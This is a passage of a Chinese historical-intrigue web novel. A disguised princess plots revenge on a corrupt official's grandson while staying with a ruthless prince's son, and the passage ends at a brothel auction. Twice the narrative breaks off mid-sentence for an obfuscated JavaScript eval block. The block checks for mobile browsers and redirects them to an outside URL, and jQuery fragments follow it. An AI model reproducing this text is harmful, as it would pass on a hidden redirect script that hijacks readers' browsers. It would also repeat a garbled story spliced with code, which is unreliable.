这人又在想什么?只会吓唬人吗?吓唬完了又不说话。 晏乐安又忍不住内心悱恻:“真是难为自己了,对着这么讨厌的人演的这么卖力。” “我可以予你一件事。” 晏乐安缓缓抬头,满脸疑问。 萧玄凛声音森冷:“帮你杀了张良也未尝不可?事成之后,你远离京城,从此改名换姓,永不回京。” 晏乐安本垂着眼,轻飘飘一句话,像一颗石子,骤然投入她心湖,激起千层浪。 她猛地抬头,怔怔地看着他冷硬的侧脸,面色没有丝毫松动,不似作伪,眼神中竟也无半分玩笑之意。 “大人当真要帮我?”她几乎是脱口而出,语气里满是难以置信。 眼前这个男人,是怎样的心狠手辣,视人命如草芥,她早有体会,仅仅因为一丝恩情就要帮她吗? “就当我是为了还恩。” “可阿乐想要的不止是张良的命。”晏乐安目光坚定,声音沉稳有力。 她要的是当年参与那件事的所有人的命,也包括面前这人,他的手上也沾着她外祖家的血。 萧玄凛双目半阖,指尖把玩着腰间的玉佩,长长的睫毛掩去情绪。 沉默片刻后,萧玄凛抬眸,目光锐利如刀:“阿乐姑娘未免过于得寸进尺。” “因为大人是阿乐目前唯一可以抓住的救命稻草。” “我可以帮你,但是帮你能带给我什么?”萧玄凛眼眸幽深,声音冷淡。 张良之所以能如此横行无忌,作恶之后仍能全身而退,其背后必定有人为他摆平一切。他心中了然,眼前这女子所图的,绝非仅仅是张良一人的性命,更是他身后的张守正,以及宫中的那位。 她盈盈拜倒,朱唇轻启: “阿乐愿将此身发肤、智计谋略,尽付大人。纵刀山火海、深渊寒潭,但凭驱策,绝无异心。” 言毕,她以额触地,尽显真诚。 萧玄凛似笑非笑:“阿乐姑娘的膝盖未免太软了一些。” 他这是在嘲讽她吗?晏乐安不自觉的微微抬起头,望向不远处的男人。 隔了片刻,又传来他清淡的嗓音,语速不疾不徐: “你所谓身家性命,在我眼中不过草芥蝼蚁,不值一提。” 杯中的茶水早已冷却,晏乐安仔细揣摩,唯有手中的汗提醒着她这一劫倘若说错半个字,她怕是活不过今日。 这当朝世子萧玄凛果然心狠手辣,生性多疑。她在前几日就已经见识过,今日却还是止不住的心颤。 “阿乐知道,我只是一阶众生中最微不足道的蝼蚁,可哪怕是蝼蚁,亦可有撼天地的力量。” “哦...?” “人活一世,无非追求家人常乐,无病无灾,财帛福绵,官运亨通。” “可阿乐只是个普通人,亲情浅薄,自幼更是一副孱弱身子。唯一所求也不过是报杀母之仇,无论付出什么代价,哪怕是这条命,阿乐也在所不辞。若有幸活下去,那便攒一些银两,寻一处僻静地,安稳度过余生。” 晏乐安不在说话,静静的等待萧玄凛的动静。 “安稳余生,你既踏入了这镇北王府,求到了我的面前,你以为你还能安慰度过余生吗?” “我不怕,只求大人看在阿乐曾经救过大人的份上,帮阿乐一次。” “我不是好人,。”他的话冰冷刺骨,却偏偏给人一种魔力,让人不自觉的受他蛊惑。 她颤颤巍巍的说:“大人是好人,至少大人不止一次饶了阿乐。” 确实不是好人,但先利用一番也不是不行。 他的眼眸忽然抬起来认真的看着她,指腹摩挲过她泛红的眼角,想要从她的眼睛里看出半分假意,可偏偏她直直回望,眼尾水雾氤氲成光,竟无半分躲闪犹疑,满是赤诚坦荡。 “我是该说你蠢,还是该说你聪明?” 过了许久,他才缓缓出声。 “阿乐只知,唯有真诚才可打动人心。” 萧玄凛听了这句话,表情微微变化,脸上满是戏谑。 真诚,在这看似繁华盛世,实则腐败不堪的王朝中,只能做俎上鱼肉,任人烹割,落得个血尽肉枯,嶙峋白骨的下场。 “这几日都打听了些什么?” 晏乐安愕然,不过立马反应过来。 她在这王府中的一举一动估计早已被人上传到他那里,那么,她自然不能瞒他分毫。 “张良的父亲名为张旭,患有肺痨,而立之年便已离世。张守正除了宫中的德妃娘娘,只有一子,丧子后,悲痛欲绝。对这位独孙极尽宠爱,几乎是要风得风,要雨得雨。” “而张良此人虽名字为良,但因自小便极受宠爱,仗着钦天监的祖父,当朝德妃的姑姑。横行霸道,强占良女,烟花巷柳,各大赌坊无处不见他的身影。” “所以,你觉得凭你要如何才能报仇?”萧玄凛说。 那不然,我求你干什么? 晏乐安默默吐槽。 她自然是知道想要杀他们有多困难,可凭她一人也并不是全无办法。 只是, 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晏乐安自然也注意到了,萧玄凛是不愿意告诉她,他应当是知道些许答案的。 不过,她也不着急,至少她已经住进王府,慢慢找机会,总有一天她会知道真相的。 晏乐安装作一脸无知的说道:“大人,你能不能教我学武,我先潜入宫中杀了德妃,然后趁着宫中大乱,夜黑风高时暗杀张守正。” “一命偿一命,也算是全了娘亲对我的生养之恩。” 她说的一脸认真,眉头微微皱起,过了一会儿眉头又舒展开来,似是觉得这个主意非常不错。 “你这是看了多少话本子?”萧玄凛的声音传来, “不多不多,我家里虽然不算富裕,但幼时还算过的下去,阿娘偶尔会给些闲钱,我便偷偷去买话本子解闷。”她说着说着又开始伤心起来。 “奈何天公实在不作美,十年前大旱,致使庄稼颗粒无收,家中这才变得贫瘠,别说买话本子了,家中连一口能吃的饭菜都没有。” 她当时决定暂且借用张阿乐的身份,自然也熟知一切,一切都完美无缺,别人是查不到丝毫破绽的。 她注意到萧玄凛像看傻子一样看着她,又连忙补充:“那..大人可有良计?” “如今,你已是我的人,杀了你,栽赃给张良,大理寺刑具的威逼下,你觉得他能扛到几时?” 晏乐安连忙摇了摇头,浑身起了不少鸡皮疙瘩:“大人,还是不要开阿乐的玩笑了。我自幼胆小,不禁吓。” “不禁吓?” “密室中那般情形下,你还有心思去看那些黑衣人的死状,阿乐姑娘可比表现出来的更加胆大。” 晏乐安浑身一个激灵,他竟然发现了,她只是趁他不注意偷偷瞄了几眼,也就不过短短一瞬。 这人,着实恐怖。 “大人说笑了,阿乐当时只是被吓懵了,毕竟长这么大,还未见过如此情景。” “哦,是吗?” “我怎么记得,阿乐姑娘说出去之后但凡透漏关于今日的半句话,必叫你的生身父亲不得好死,养育你的母亲天打五雷轰。” 萧玄凛的目光骤然变冷,眼底划过一抹冷意。 5. 暗月阁 晏乐安心中一怔,这人在试探她。 即使她已经将张阿乐的全部底线交给了他,他还是不信她。 她的脑海中反复思量,该怎么让他信任她。 她真的只是一个孤苦无依的弱女子,一心只想为母亲报仇。 “大人和别人不一样,阿乐对别人一定守口如瓶。但在大人面前,一定知无不言,绝无隐瞒。”后面四个字晏乐安说的铿锵有力,咬字极重。 他既然试探她,那她只要足够真诚,哪怕他现在不信她,她也相信,有朝一日,他一定会被自己的真诚打动。 等到时候哪怕毒药未起效,杀他那岂不是会变得轻而易举。 “呵---” “你最好是!”萧玄凛双眸微微一沉,没在说话。 萧玄凛手中的茶水蓦然坠地,他垂眸望着满地狼藉,唇角勾起若有若无的弧度。 眼底带着似笑非笑的笑意,轻轻抬眸扫过晏乐安骤然失色的脸,漫不经心道: “这茶,倒是烫了些。”说完不给室内女子丝毫反应的时间便起身离去。 晏乐安看向被溅上茶水的脚腕,这茶水分明早已凉了。 这人就是在消遣她。 她好想逃。 早知道当初就不该来向他讨这份恩情,恩情没讨到,反而差点葬送性命。 到头来,他还要不停试探她。 可是,如今已入了这镇北王府,也只能早一步看一步。 倘若有朝一日,她报仇雪恨,必定要狠狠的折磨她,一报她这几日所受的耻辱。 “姑娘,世子说让奴婢以后留在远月阁伺候您。” 银月脚步轻盈的走进来。 “照顾我?”晏乐安手指指着自己的脸,满脸不可思议。 这人良心发现了?? 终于信她了?可看他刚刚的表情,好像不是很开心的样子。 难道是她看错了,他可能天生就喜欢冷脸,也可能是她刚刚伪装的太好了,他终于信了。 晏乐安想到这里,终于露出了舒心的笑意。 语气欢快的指挥银月:“把茶水换了,以后远月阁就不喝茶了,大人不喜欢。” “这套茶具也处理了,大人可能不喜欢这个花纹,刚刚都摔了,以免以后看到又摔,怪浪费的,这么好的东西。” 她兴致勃勃的说了一通,实在是有些累了,于是一股脑的坐在凳子上。 “公主,这样会不会演的有点过了?”银月压低声音出口说道。 晏乐安看了眼门外已经看不见身影的萧玄凛,又警惕的环顾了一下四周。 “不会。既然要演,就要演的像点。” 如果萧玄凛还在,那肯定能一睹晏乐安这变脸速度。 厢房内女子坐在梨花木凳上,身姿笔挺,手中拿着的赫然是刚刚萧玄凛拿过的茶杯。 她的眼眸漠然的盯着那只茶杯,脸上未施粉黛,肤色是近乎苍白的冷玉色,没有半分多余的情绪。周身冷冽,让人望而生畏,不敢轻易靠近。哪里还有半分这几日的怯懦柔弱之态? “公主,您当真要住在镇北王府?可依奴婢这几日的观察,世子对您的态度极为冷淡疏离。更何况,您如今又是顶着旁人的身份。万一他真的起了杀心,奴婢实在是担心。”银月的面上满是忧色。 她是公主十年前安插在镇北王府的眼线。这十年来,她安心做好一个婢女的本分,暗地里与公主保持着联络。当得知公主决意要入府的消息,她思虑再三,主动向张嬷嬷请缨愿意去远月阁。 张嬷嬷是王府的老人,负责管理王府的丫鬟、小厮、婆子等。 远月阁离主阁最远,这王府的婢女自然瞧不上这个差事,她又一向勤勤恳恳,不出风头,不惹事,这才让她有了机会。 “傻银月,担心什么,你家公主这不是好好的坐在这吗。” 晏乐安的脸上露出笑容,说话的语气很温柔,抬起手摸了摸银月的头,“以后便唤我姑娘吧。虽然今日这里无人监视,但以防万一,这萧玄凛可不是个好糊弄的人。” “是,公~,姑娘,奴婢记住了。”银月乖乖点了点头。 晏乐安将手中的茶杯放下:“他是发现了吗?” 寒魄引无色无味,溶于水中饶是太医院的医正也需费好些功夫才有可能发现异常。 如果他刚刚是故意摔了茶杯,那么又为何陪她演呢? “将茶杯处理干净。” “是。”银月低头拿起茶杯,顺带连茶具一起带出去。 可看他也并无其他异常反应,或许刚刚的事情,真的是个意外,只是为了给她一个下马威。 若是如此,那便极好。 今日虽然演了许久,但收获还可以。 她知道,虽然萧玄凛嘴上没说答应,但其实已经默认了会帮她。 可她也不能一直待在王府里,坐以待毙。 先不说萧玄凛有没有完全信任她,光凭她一人,杀张良倒是可以全身而退,但张守正和德妃,目前为止,她确实没有想到十全十美的办法。 张守正是钦天监监正,此人虽然不算聪明,但却极其惜命,家中守卫更是密不透风。 更别说德妃,以公主的身份,倒是可以接近,但难免会牵扯到旁人,万一引火烧身,哥哥的处境也会变得困难许多。 她摇了摇头。 听雪楼,二楼包厢。 玄玉棋子搁在裴之舟指间反复摩挲,他望着棋盘上交错的黑白棋局,落在一子。 忽然,他轻轻笑道: “阿凛,这盘棋你要输了。” 棋盘上,黑子已连成蜿蜒溪流,将白子围堵于无形。 檀香忽明忽暗,萧玄凛忽而抬眼,白子倏然落下,竟生生在绝境中杀出重围。 满室茶香,棋盘上黑白交错如战场厮杀,胜负只在落子瞬息。 “未落终子,莫论输赢。” 萧玄凛漫不经心的出声,仿佛刚刚在棋局上拼死厮杀的另有其人。 “阿舟,在这大乾朝阿凛的棋艺,可称的上前无古人后无来者。输给他,不丢人,赢了他,那估计...。” “不会。” “棋局博弈,我不会输,也从未输过。” 楚瑾的话被萧玄凛打断,随未抬眼,仍可以看出其运筹帷幄,令人震慑的气质。 毕竟萧玄凛此人自幼便天资聪颖,当朝帝师都说他是千古难遇的奇才。 但其行事却心狠手辣,十岁弑师杀友,十五岁连胜萧家军数位将士,十七岁时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712697|189298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高中状元,如今更是连破数案,朝堂中多少大臣都被他判了罪,定了刑。 但凡在大乾提起他,人人惧怕,满朝文武唯恐避之不及。 “阿凛,听闻你府上来了位姑娘。”裴之舟直视着萧玄凛。 萧玄凛未出声,楚瑾率先说道:“这位姑娘名唤阿乐,曾救过阿凛一命,走投无路这才来京城投奔阿凛。” 裴之舟没有接话,看向萧玄凛。 “你知道你在疑惑什么?派去的人已查过她的身世,确实没找到问题,她所言倒是句句属实。” 裴之舟终于露出了笑容,眼睛带着睫毛轻轻晃动。 裴之舟:“所以这个名字也许是个巧合?” 萧玄凛:“这世上哪有那么多巧合。” 裴之舟顿了一下,面漏疑惑。 萧玄凛语气淡漠:“既然她说她想报仇,那就先留着她,看看她何时露出狐狸尾巴。” 萧玄凛端起茶杯,细细摩擦,眼底深不可测,露出似笑非笑的浅笑。 “不过有一事,需要你去查。” 裴之舟:“何事。” “传闻江湖上有个暗月阁,专接杀人不见血的生意。” 楚瑾接着萧玄凛的话解释:“那日大理寺,黑衣人不止一波。只不过另一波一直在外面潜伏,但却迟迟未动手。” 裴之舟询问:“所以你们怀疑那波人是暗月阁的人。” “不过听闻暗月阁在一年前就隐匿江湖,并且行事向来来无影去无踪,世人大多都只听说过,从未真正见过。” “怎么在如今这个时候出现了?” 萧玄凛斜倚在紫檀木座椅上,单手支着下颌,另一只手拈起枚羊脂白玉子,在指间慢悠悠地翻转,棋子折射的光晕在他眼底流转,似寒潭微漾,深不可测。 他垂眸凝视棋盘残局,唇角若有似无的笑意,叫人瞧不透这局中乾坤,更窥不破他心中万千沟壑。 终于,他缓缓出声: “大乾风平浪静太久了,有人要开始搅浑水了。” 裴之舟和楚瑾听闻此言,皆是蹙眉。 “我会尽快查明。”裴之舟不疾不徐的应答。 萧玄凛早年就创办了一个巨大的情报网,遍布江南海北。 朝堂之秘,朱门隐事,市井巷议,于他而言,皆如镜中观物,纤毫毕现。 裴之舟便负责收集消息,联络各地势力。 “还有一事,我们的计划该提前了。” 楚瑾和裴之舟对视一眼,纷纷挺直脊背,看向萧玄凛。 楚砚辞:“为何?” 萧玄凛:“幕后之人已经有所察觉了。” “阿凛,可是那天黑衣人身上发现了线索?”裴之舟的指尖摩擦桌边,眉峰拧成死结。 萧玄凛从袖中拿出一物,裴之舟接过,脸色骤变。 “钦天监的令牌。” 楚瑾嗤笑出声:“栽赃嫁祸而已,谁会蠢到杀人灭口留下证明自己身份的东西,生怕旁人不知这血案该算在谁的头上。” 萧玄凛:“无论是不是钦天监,程诀被劫,这条线已经断了。” 楚瑾怒骂:“要是让老子逮到,迟早剥了他们的皮。” “这群老狐狸,一个个都艰险狡诈极了。” 6. 诱饵 裴之舟指尖叩着茶盏边缘,眼尾斜挑着扫过楚瑾和萧玄凛,笑容和煦:“论起艰险狡诈。”他慢悠悠转动着翡翠扳指,目光在烛火下微微挑眉:“两位足智多谋的主儿,怕不是要叫旁人望尘莫及了。” “这大乾谁人不知,镇北王府世子和嘉宁侯府小公子为人最是阴险狡诈,老奸巨猾。” 楚瑾听见这话作势就要同裴之舟好好理论一番,眼光却瞥见萧玄凛目不转睛的盯着窗外。 他顺势透过窗外看去,女子身着一袭淡粉色交领襦裙,外覆一层同色系薄纱,料子轻薄如蝉翼,裙裾曳地,腰间束着同色丝带,衬得身姿纤柔。 发间梳就雅致的半盘发式,几缕青丝自然垂落肩头,两侧鬓发间簪着几朵浅粉色绢花,与衣裙颜色相呼应。耳畔挂着一对银质流苏耳坠。 面上妆容清雅,红唇似点绛,眉眼间带着一抹淡淡的忧愁,又隐隐透着一丝不易察觉的清冷。 引得路人频频侧目,见之皆目瞪口呆。 “哟。” “说曹操曹操到。” 楚瑾看了萧玄凛一眼,又转头示意裴之舟看向窗外。 ——— 霓裳阁。 “大人,真的要穿这件衣裳吗?”晏乐安手里抱着一件衣裳,一脸苦闷的望着萧玄凛。 她忽然觉得世人说的话确实有几分可信,萧玄凛果然冷面铁血,对女子更是毫不留情,她不就穿了件好看的衣裳,至于让她换掉吗。 “原来这位姑娘所言竟然是真的,向来不近女色的萧世子,竟然真的金屋藏娇。” “自古英雄难过美人关啊。”楚瑾抬手将折扇“啪”地展开,目光掠过眼前倩影,忽然低笑。 萧玄凛听见这话,俯身凑近晏乐安耳边,用只有两个人能听见的声音悠悠开口:“这就是你今日的目的,故意穿的花枝招展,然后不经意透露出你是从王府出来的。” “阿乐,你还真不一般。不过你以为这样,我就不敢杀你了吗?” “我若想让一个无影无踪的消失,有成千上百中方法。” 说完,他冷脸看着她。 晏乐安听完这话笑容早已僵住,又勉强保持镇静。 她这是又惹祸了?!? “大人误会了,阿乐第一次来到京城,实在是没见过如此好看的衣裳,这才迫不及待穿出门想让别人高看自己一眼,却没想到弄巧成拙。” 萧玄凛一直知道,这女子不简单。明明破绽百出,却偏偏让他无法看清。 她究竟是个什么样的人,又究竟怀有什么样的目的? “换掉。”萧玄凛语气冷漠。 晏乐安低头望着低头看着身上那件并不合身的枚红色,绣着桃花的衣裳,眉头几不可察地蹙了一下。这衣服的颜色,款式实在不是她的喜好,也不知是如何被这京城女子争先恐后购置的。 她张了张嘴,想抱怨,但最终还是默默无声,只发出一声极轻的叹息。 “跟着我。” 见晏乐安愣在原地,许久没有反应,萧玄凛回头看向她。 “怎么,不是要我帮你,今日给你这个机会。一刻钟以内,能不能把握的住,看你自己。” 萧玄凛冷冷扔下一句话,就抬步走进去,只留下了一个背影给阿乐。 她提脚想走,却实在迈不下去。 她仰头望着牌匾上鎏金的“怡红院”三字,步伐更加沉重。 实在不是她不想进去,主要是这地方人家压根不要她进啊。 “求您了,就让我进吧。我认识前面那人,您刚才也听见了。他走的太急了,我刚刚只是没跟上而已。” 晏乐安双手合十,对着门口的老鸨哀求。 “小娘子,这地方多的是妇人为了阻止男子寻欢作乐找过来。别说前门了,这后院都不知道被多少人趁机偷溜进去。我啊,奉劝娘子一句,男人啊,别盯得太死,毕竟这说来说去也就那点事。” 说完用手绢点了一下晏乐安的胸口便又去招呼一个穿着锦衣的男子,只留给晏乐安一个扬长而去的背影。 他就是故意的。 明明知道这里女子根本进不去,偏偏带她来这里。 既然他不让她进,她便偏要进去给他瞧瞧。 这个机会,她一定握得住,她一定可以握住。 ——— 怡红院,二楼包厢。 “阿凛,用这招对付一个女子实在是有点不光彩。” 萧玄凛和楚瑾对坐于雕花檀案两侧。 “你那日故意说挖掉眼睛,砍掉双手就光彩了?”萧玄凛淡淡回应。 楚瑾弯唇一笑,一口饮下杯中酒水:“我这不是顺你的意,吓唬吓唬她,说不定就姑娘胆小,就顺了你的意了。” 见萧玄凛眼神微冷,他又急忙说道: “话说,今日为何要带阿乐进来?” 萧玄凛:“当一个诱饵。” 楚瑾也变得认真起来:“莫非今日你想利用阿乐引诱张良,可你又怎么能确定,她会这样行事?” “今日怡红院百花台重开,张良此人一贯好色,想要接近他,最好的办法就是扮做舞女。” “所以你刚故意让阿乐姑娘换了衣服,是想让她在计划完成后,便于隐藏身份。这霓裳阁的玫红桃花衣裳是我二姐所喜,前几日出席宴会,出尽风头,京城女子皆效仿,就连怡红院的姑娘也极其喜爱。” 萧玄凛面色不变,想起刚才女子看到桃花时微妙的表情变化,唇角勾起了一丝笑意。 楚瑾说完看到萧玄凛勾起的唇角,一丝不可察觉的疑惑涌上心头。 这堂堂世子殿下,人人惧怕的铁面修罗怎么自从遇到阿乐姑娘就像变了一个人,仅仅因为人家曾救了他一命? 他压下心中疑问,开口:“可现如今她一个女子,又无权无势,想进这怡红院,怕也是难。若是她没想到办法进来,那我们的计划岂不是要变?” 萧玄凛又变得面无表情,冷冷出声:“若真这般蠢,早死也不失为一种解脱。” 何况,他进门时特意让老鸨提点她。 但凡不蠢都能品出一个女子除了靠身份光明正大的进来,后院便是最容易投机取巧的地方。 若听不出其中含义,他指尖摩挲过酒杯,权当是他闲来无事,逗一只小猫玩玩。 “听闻今日怡红院月魄姑娘要重登百花台。” 月魄,怡红院的花魁,当年一支霓裳羽衣舞,倾城绝色,传遍京城。 多少王公贵族一掷千金,只为一度春宵。偏偏这位姑娘极其清高,只卖艺不卖身。 有强权试图逼迫,但后来都莫名不了了之。 “也不知今晚谁能抱得美人归?”楚瑾感叹。 萧玄凛:“听闻嘉宁候早在前几日因你大闹赌坊一事断了你的月钱。” “如今还有心思挥霍,不如好好想想该如何让侯爷消气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712698|189298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧玄凛接着补充。 “不必担心。有母亲在,区区小钱,不足挂齿。” 楚瑾大手一摆,满脸无所谓。 她乐意给他钱花,他不花,岂不是浪费了人家一番良苦用心。 萧玄凛见状,也没在说话。 家宅中,有点龌龊事本就心知肚明,可纵容这些事情发生的,往往是家中掌权的人。 嘉宁候看不上楚瑾这个儿子,认为其生母品性恶劣,其子怕也是随了母亲的品性。故而一贯不喜他,哪怕王氏如此行事,嘉宁候也毫不在意。 楚瑾和他自幼相识,他知晓他的习性,也了解他的处事。 这么浅显的弯弯绕绕,他能轻易看出来。这么多年,楚瑾也不会毫无察觉。 他本就不爱管闲事的人,哪怕是自己的好友。 现在最重要的是那只小狐狸不知蹦哒进来了没有? “啊~~~” 晏乐安一手捂住自己的屁股,一手捂住自己的嘴,眼睛滴溜滴溜的朝四处观察。 “还好还好,没人发现。” 说起来,她在门口盘桓许久,才发现那老老鸨不小心说漏嘴了。 原本,她打算爬狗洞的,但当她看见那里面的两坨后,就……。 她,堂堂公主。 也是有尊严的!!! 幸而这墙不高,她使了九牛二虎之力才好不容易爬上去,还没坐稳呢,脚一滑,就直接摔下来了。 她长舒一口气,摸了摸脸上的灰土,刚撑起身子,就听见细微的脚步声。 松弛的脊背骤然紧绷,左顾右盼,连忙迈着做贼似的步伐躲在旁边假山后。 晏乐安蜷缩着身子屏息聆听,远处传来零碎声音。 “你说,这位月魄姑娘前几日忽然提出要表演,今日又说身体不舒服推脱此事,这不是诚心为难王妈妈吗?” 另一人吐了吐舌头:“就是,今日这阵仗,指不定有多少达官贵人在里面坐着。就算不舒服,那也得拖着病体上,那下面坐着的可都是我们惹不起的人,万一不小心让哪位不高兴了,我们可就惨了。” “入了这怡红院,整日装清高,还神出鬼没。也不知道王妈妈是如何让她待下去的。” “小声些,万一被听到了。”一个婢女拉了拉旁边的女子。 “人家可是大名鼎鼎的月魄娘子,一舞动京城,可不就有这能耐吗。”一人端着衣裳小声说道。 “难不成这……”,“啊~”。 “咦,人呢?”另一人挠了挠头。 回头看了几眼:“刚还在说话呢?大白天的见鬼了?” 几个婢女怕耽误了待会儿的表演,只好先去送衣裳。 “这姑娘身体可真好啊,看来吃的不错。” 晏乐安知道自己力气小,刚刚专门买了迷药以备不时之需,趁人不注意,悄悄往那个最喜欢说闲话的婢女撒了些。 还好另一人也一心只知长舌,根本没回头。不然,以自己这龟速,指定被发现了。 晏乐安换好衣服。拍了拍手,兴奋的感叹:“自己今日这运气可不要太好。” “第一次爬墙,换装都这么顺利,很有干大事的潜力。”说完,她重重点了点头。 虽然说她心理素质一向不错,但一想到待会儿要干什么还是忍不住的心颤。 晏乐安摸索了半天,才找到了月魄娘子的居所。 “我可以帮你。” 7. 怡红院 晏乐安眼神温柔的注视着眼前的女子,鹅蛋脸,柳叶眉,一双眼睛更是妩媚无双。 怪不得人人都说怡红院的月魄娘子,有着勾人心神的魔力。 她若是个男子,只怕也要拜倒在这位月魄娘子的裙下了。 月魄听闻这话,看向站在梳妆台旁边的女子。 “你?” 这样一个灰头土脸的女子,身上衣裳看起来也极其不合身,额头上方有一块还微微泛红。 这样的人也能帮她。 可真可笑。 “真的,月魄娘子。我知你今日身体不适,而我恰巧心怡张良公子。听闻他当年为了娘子一掷千金,我实在羡慕。便偷偷学了娘子的霓裳羽衣舞,还算小成。” “今日,也是想来碰碰运气,娘子既然不愿意表演,何不成全一下我。” 月魄抬眸看向她,似是有些犹豫: “你若演砸了,我月魄娘子的招牌不就砸了。你让我以后在这京城如何立足。” “这个简单。”晏乐安拿起一个面纱,附在脸上:“这样不就看不出来了。” “即使面纱掉落,娘子也只需说是我爱慕虚荣,趁娘子不注意,打晕了娘子,故意替换的。” “既如此,那就多谢这位姑娘了。”月魄起身取过屏风后那件月白蹙金双绣罗裙,指尖在云纹锦缎上稍作停顿。 “那位张公子并未良人,姑娘现在反悔还来得及。” 晏乐安许久没有动静。 月魄忽然将手中衣裳转了半圈。镜面映出她疲惫的眼睛,眼底翻涌的暗沉似是藏着经年风霜: “走吧,我只当今日从未见过你。” 她也不想啊。 她当然知道张良不是好人。 可是为了复仇,只好委屈一下自己。她如今的身份想要接近张良,只能出此下策。 那会儿在怡红院门口她便注意到张良随着老鸨进了怡红院。而怡红院人多眼杂,所以今日是一个接近他的好机会,要是错过了,下次接近也不知道等到什么时候。 “娘子不必担心,我知道在这京城人人都说张公子是个花花公子哥。可前段时日,我孤苦无依时,张公子曾舍身救过我一命。” “自此,我便芳心暗许。今日听说张公子要来一睹娘子风采,这才出此下策。” 晏乐安手指拼命掐自己大腿,才堪堪挤出几滴眼泪。 月魄见状,也是心疼不已。 这世上竟有如此痴情的女子,明知他不是良人,仍愿意一腔热血的去喜欢他。 可这真心到底还是错付了。 怡红院,乐坊舞台。 地下宾客们围坐八仙桌旁,觥筹交错间,忽听得羯鼓骤响。 珠帘轻晃,带着铃铛的声音悠悠传来。一女子从空中轻移而出,裙裾的七彩孔雀翎,随着步伐微微起伏。 笛声悠扬而起,她的舞姿亦随之婉转。指尖轻点,如拈花惹蝶,眼波流转,似春水含情。 一颦一笑,勾人心魄;一举一动,皆是风情。 台下人纷纷起手鼓掌, “好。” “好!” “不愧是月魄娘子,这舞姿不减当年啊。” 无人知晓,这面纱下早已被换成了另一人。晏乐安尽力扮演这月魄娘子表演时的神态,一丝一毫都不敢懈怠。 羯鼓节奏渐急,她倏然旋身,广袖如蝶翼舒展,层层叠叠的裙摆随着鼓声飞旋。 忽而扬手,红色水袖从空中划过,落在台下一男子手中。 男子看得如痴如醉,立马伸手抓住红绸放在鼻尖,脸上露出痴迷的笑容。 转瞬间,水袖抽离晏乐安强装自己透过面纱露出一个妩媚的神色。 台下众人目不转睛的盯着台上的女子,呼吸也随着她的舞姿凝滞。 一曲终了,晏乐安微微喘息,屈腰行礼,眼底盈盈含笑。 满座宾客这才如梦初醒,台下又响起震耳的掌声。 晏乐安并未离场,站在舞台中间静静观察台下的人。 方才那人,应该就是张良吧。 她想起刚才被他碰过的水袖,嫌弃的偷偷扔在地上。 “哈哈哈哈哈,今日的表演不知各位可还满意?” 王妈妈带着她标志性的嗓音走来,一脸的谄媚讨好。 “满意满意。” “之前就听闻月魄娘子一舞动京城,今日一见,果然名不虚传。” “哈哈哈哈哈。” 王妈妈掩面:“今日月魄娘子的表演能让诸位喜欢,也算我怡红院三生有幸了。” 说完,王妈妈悄悄用手拧了一下阿乐的胳膊。 晏乐安强忍着痛意:“大人们喜欢,月魄便心满意足了。” “今日的彩头还在后面。”王妈妈面带笑容出声。 晏乐安不解的看着她。 “今晚月魄娘子可陪一位大人共度春宵。”王妈妈笑容满面,“只是需要诸位大人竞价,价高着得。” 台下人人欢呼,掌声不断。 “当真?” 什么?! 晏乐安不敢相信自己听到了什么,听见台下人的欢呼,她才意识到。 自己,被!骗!了! 月魄是故意让她替她的,怪不得她今日故意以身体不适为由拒绝表演。 怪不得自己那么明显的鬼话,她竟然相信的这么容易。 她又大意了。 原想通过表演接近张良,刚刚她偷偷在水袖中留了纸条趁机传给张良。 没想到,竟然被月魄摆了一道。 若是张良未出最高价,那她今日又该如何躲过此劫? “三百两。” 有人已经开始出价。 “区区三百两就想让月魄娘子一度春宵。我出五百两。” 出五百两的是中书令次子郑言,是一个典型的纨绔公子哥,出手更是豪阔无比。 “阿凛,真不打算出手?我看阿乐姑娘好像在向我们求救。”楚瑾对上阿乐的目光。 “救我。”晏乐安用口型对着二楼上方说了两个字。 “救我。”她不停的重复。 萧玄凛淡淡的注视着她,面上没有丝毫表情,仿佛只是看一个好玩的小猫在不停的挣扎。 她现在是真没办法了,她并没有万分把握张良会出最高价。 如果张良看见那张纸条按时赴约,她的迷 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红尘紫陌,哪怕是惊才绝艳的月魄娘子,也不过是笼中雀,池中鲤,纵有千般风情,万般才情,也不过是装点他人酒桌、博君一笑,供达官贵族消遣的玩物罢了。 当真是讽刺至极。 张良确实很心动,但奈何,对方是郑言。他的父亲郑钧前几日才刚刚弹劾了他祖父,原因就是他们两个曾因为一名女子在大街上大打出手。 郑钧这个老匹夫,太过能言善辩。硬生生把一个风流浪荡子说成是为了避免良家妇女惨遭他的毒手才不得已出手。 要不是他是当事人,还真会被糊弄过去。 郑言和他明明就是一路货色,却偏偏在姑娘面前装什么饱读诗书的文雅公子哥。 那天明明是他先看上那个女子,郑言一个半路的,竟然和他抢人。打不过他就回去告黑状,真把他张良当蠢货耍了。 张良回蹬了一眼郑言,从袖中取出那张纸条。 酉时三刻,2号包厢,奴家盼与公子相会。 有个好爹有什么用?月魄娘子还不是只给他留了纸条。 只是可惜了,这月魄娘子的初夜怕是要被这个色鬼夺去了。 张良遗憾的又蹬了郑言一眼,但想到父亲的叮嘱,还是忍了下去。 晏乐安早就注意到了他们的小动作,她大概也猜到了,张良不会再出手了。 她的手心已经微微出汗,眼睛不自主的看向二楼。 